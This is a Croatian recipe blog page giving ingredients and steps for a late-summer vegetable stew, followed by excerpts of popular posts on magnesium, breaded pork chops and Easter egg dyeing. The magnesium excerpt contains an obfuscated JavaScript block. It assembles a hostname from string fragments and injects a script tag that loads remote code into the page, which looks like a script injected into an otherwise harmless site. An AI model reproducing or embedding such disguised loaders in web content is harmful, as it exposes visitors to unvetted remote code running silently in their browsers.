KASNO LJETNO VARIVO OD POVRĆA




Kasno ljetno varivo od povrća 



Ono što nam se posebno sviđa kod ovog recepta jest to što ga možete skuhati u većoj količini, spremiti u hladnjak i imati gotov ručak za nekoliko dana. A kada krenu povratak na posao, ranija buđenja i jesenski raspored, upravo su takvi recepti mali spas.




Kasno ljetno varivo od povrća 



Sastojci za 4 porcije:

  • 1 veći patlidžan
  • 2 tikvice
  • 2 crvene paprike
  • 4-5 zrelih rajčica
  • 1 veći luk
  • 2-3 režnja češnjaka
  • 2 žlice maslinova ulja
  • 1 žličica slatke mljevene paprike
  • 1 žličica suhog origana
  • šaka svježeg bosiljka
  • sol i svježe mljeveni papar
  • 100-150 ml povrtnog temeljca ili vode
  • 1 žličica balzamičnog octa
  • po želji: 1 konzerva bijelog graha



Priprema:

  • Najprije nasjeckajte luk i papriku, a patlidžan, tikvice i rajčice narežite na veće kockice. Ne trebate se pretjerano truditi da svi komadi budu iste veličine – upravo je pomalo rustikalni izgled dio šarma ovog jela.
  • U velikom loncu zagrijte maslinovo ulje pa dodajte luk i papriku. Pirjajte nekoliko minuta, dok ne omekšaju, a zatim ubacite češnjak i kratko promiješajte. Dodajte patlidžan i tikvice te sve zajedno pirjajte još nekoliko minuta. Kada povrće počne omekšavati, ubacite rajčice, mljevenu papriku, origano, sol i papar.
  • Ulijte malo povrtnog temeljca ili vode, poklopite i pustite da se sve kuha na laganoj vatri otprilike 25 do 30 minuta. Povrće će tijekom kuhanja pustiti vlastiti sok pa vam ne treba puno dodatne tekućine.
  • Ako koristite bijeli grah, dodajte ga pred kraj kuhanja i pustite još nekoliko minuta na vatri. Na samom kraju dodajte žličicu balzamičnog octa. Ona će dati malu dozu kiselosti koja će lijepo naglasiti slatkoću zrelih rajčica i paprika. Maknite s vatre i završite svježim bosiljkom.



Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više